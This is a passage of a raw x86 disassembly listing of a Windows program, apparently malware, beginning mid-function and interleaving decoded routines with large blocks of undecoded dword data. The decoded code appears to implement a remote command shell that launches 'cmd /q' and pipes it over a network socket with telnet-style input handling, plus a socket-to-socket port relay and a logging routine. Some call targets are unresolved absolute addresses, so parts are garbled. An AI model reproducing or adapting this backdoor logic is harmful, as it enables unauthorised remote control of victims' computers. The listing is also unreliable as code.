		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 2700000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2650CB8h
		nop
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E568[eax], ecx
		nop
		call	near ptr 2650937h
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------


loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_434B34
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C


loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032


loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB674
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------


loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_434B74
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB63C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------


loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		nop
		call	near ptr 2770000h
		jmp	short loc_41117C
; ---------------------------------------------------------------------------


loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx


loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB674
		test	eax, eax
		jle	short loc_4111C8


loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 2415FFC0h, 6A004CB6h, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CB6A415h, 8BF88B00h, 0C069C445h, 234h
		dd 6CB88953h, 8D0043E5h, 5750EC45h, 0B65015FFh,	0C085004Ch
		dd 121850Fh, 0A6A0000h,	4C15FF57h, 85004CB6h, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0BF8068FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB6B8h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B6B015FFh, 8D50004Ch, 0FFFD2C85h, 4C2068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43E564h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h,	25F250E8h
		dd 0C84D8B02h, 234C969h, 0C63B0000h, 0E5748189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 90056AFFh, 25F1E8E8h,	0E8EDEB02h
		dd 225FB40h, 858D5090h,	0FFFFFD2Ch, 434BE468h, 1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B6BC15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 434BB0h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	6CB68D5Fh, 890043E5h, 0ACB8h
		dd 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh, 8D5350F8h
		dd 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh, 0C15FFFFh
		dd 85004CB6h, 0FF1875C0h, 0BC15FF36h, 0FF004CB6h, 0C7E80875h
		dd 59FFFF9Fh, 0ADE89053h, 53022BEBh, 0FB30858Dh, 868FFFFh
		dd 50000004h, 15FF36FFh, 4CB63Ch, 187FC085h, 15FF36FFh
		dd 4CB6BCh, 0E80875FFh,	0FFFF9F96h, 0E8905359h,	22BEB7Ch
		dd 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h, 1FFFFFBh
		dd 1E0850Fh, 5D380000h,	8D7774BCh, 8D50BC45h, 0FFFB3885h
		dd 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h, 38858D50h
		dd 50FFFFFBh, 434CE868h, 3D52E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5DFFFFFBh
		dd 0A0A3E8h, 18C48300h,	0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0B67415FFh, 36FF004Ch, 0B6BC15FFh, 75FF004Ch, 9F00E808h
		dd 5359FFFFh, 2BEAE7E8h, 106A9002h, 53E8458Dh, 0A06AE850h
		dd 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h, 0FB34858Bh
		dd 66AFFFFh, 66026A57h,	2E845C7h, 0EC458900h, 0B6A415FFh
		dd 0F88B004Ch, 75FFFF83h, 0B815FF5Dh, 50004CB5h, 434CA868h
		dd 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h, 885053FFh
		dd 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h, 14C48300h
		dd 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0B67415FFh, 36FF004Ch
		dd 0B6BC15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh,	0EA4EE890h
		dd 458D022Bh, 50106AE8h, 0CC15FF57h, 83004CB5h,	5D75FFF8h
		dd 0B5B815FFh, 6850004Ch, 434C64h, 3C4BE8h, 4006800h, 858D0000h
		dd 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85BFFFFh
		dd 9F9Ch, 8D14C483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h
		dd 4CB67415h, 0FF36FF00h, 4CB6BC15h, 875FF00h, 0FF9DF9E8h
		dd 905359FFh, 2BE9DFE8h, 4006802h, 858D0000h, 0FFFFFB38h
		dd 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85AFFFFh, 9F50h
		dd 8D0CC483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h,	4CB67415h
		dd 5736FF00h, 39E8h, 57595900h,	0B6BC15FFh, 36FF004Ch
		dd 0B6BC15FFh, 75FF004Ch, 9D9CE808h, 5359FFFFh,	2BE983E8h
		dd 36FF9002h, 0B6BC15FFh, 75FF004Ch, 9D84E808h,	5359FFFFh
		dd 0E96AE890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4


loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB60C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB510
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB63C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791


loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB510
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB63C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC


loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CB6A415h, 83F08B00h, 5675FFFEh, 19068h, 4AE89000h
		dd 390225EDh, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Bh
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 415FF56h, 8D004CB6h
		dd 46AEC45h, 57FB6A50h,	415FF56h, 8B004CB6h, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43E56Ch, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0B62415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0B65015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 0EC83E890h, 8DFF0225h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 0E8000001h, 225EC51h, 858D5390h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Bh, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CB60C15h, 0FC08500h, 2398Eh
		dd 0D7D8A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0B5FC15FFh, 75FF004Ch
		dd 0F84589C8h, 0B6B015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CB68815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 434D54h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CB688h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 3468FFFFh, 5000434Dh, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CE12C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 2868096Ah, 5600434Dh, 0B68815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB6BC15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 0E406E853h, 6890022Bh
		dd 3E8h, 0E92FE890h, 0E8570225h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 2770150h
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-114h]
		push	offset asc_435514 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------


loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_4354E4
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h


loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax


loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0B5A815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0B5C015FFh
		dd 0BB004Ch, 6A000002h,	0E7DFE808h, 0FF900225h,	4CB5A815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0B5C015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 435544h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 4D7C0845h, 106A0043h, 0B4F815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0B5F015FFh, 0C4F6004Ch, 6A7B7480h, 0F815FF14h
		dd 66004CB4h, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 0F815FF14h, 66004CB4h, 1E74C085h, 2E7DF685h,	7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CB5A815h, 0B84D8D00h
		dd 50513C6Ah, 0B5C015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 552C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CB5A8h, 6AB84D8Dh
		dd 0FF50513Ch, 4CB5C015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 43551868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 4354AC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
		dd 2BE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0B62415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CB66415h, 36A5600h,	4589026Ah
		dd 0A415FFE8h, 8B004CB6h, 0FFFF83F8h, 75FC7D89h, 0B815FF5Dh
		dd 50004CB5h, 0FD4C858Dh, 0B468FFFFh, 5000435Eh, 9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h,	234C0h
		dd 6CB88900h, 8D0043E5h, 5750E445h, 0B65015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB5B815h, 858D5000h, 0FFFFFD4Ch, 435E8868h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 0BC15FF57h, 0FF004CB6h, 0EBE8D075h, 59FFFF92h, 0DED2E856h
		dd 5690022Bh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB5D015h, 0FFF88300h, 15FF6475h, 4CB5B8h, 4C858D50h
		dd 68FFFFFDh, 435E58h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B6BC15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 2BDE4FE8h, 0BB539002h, 435570h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB63Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 4C68FFFEh
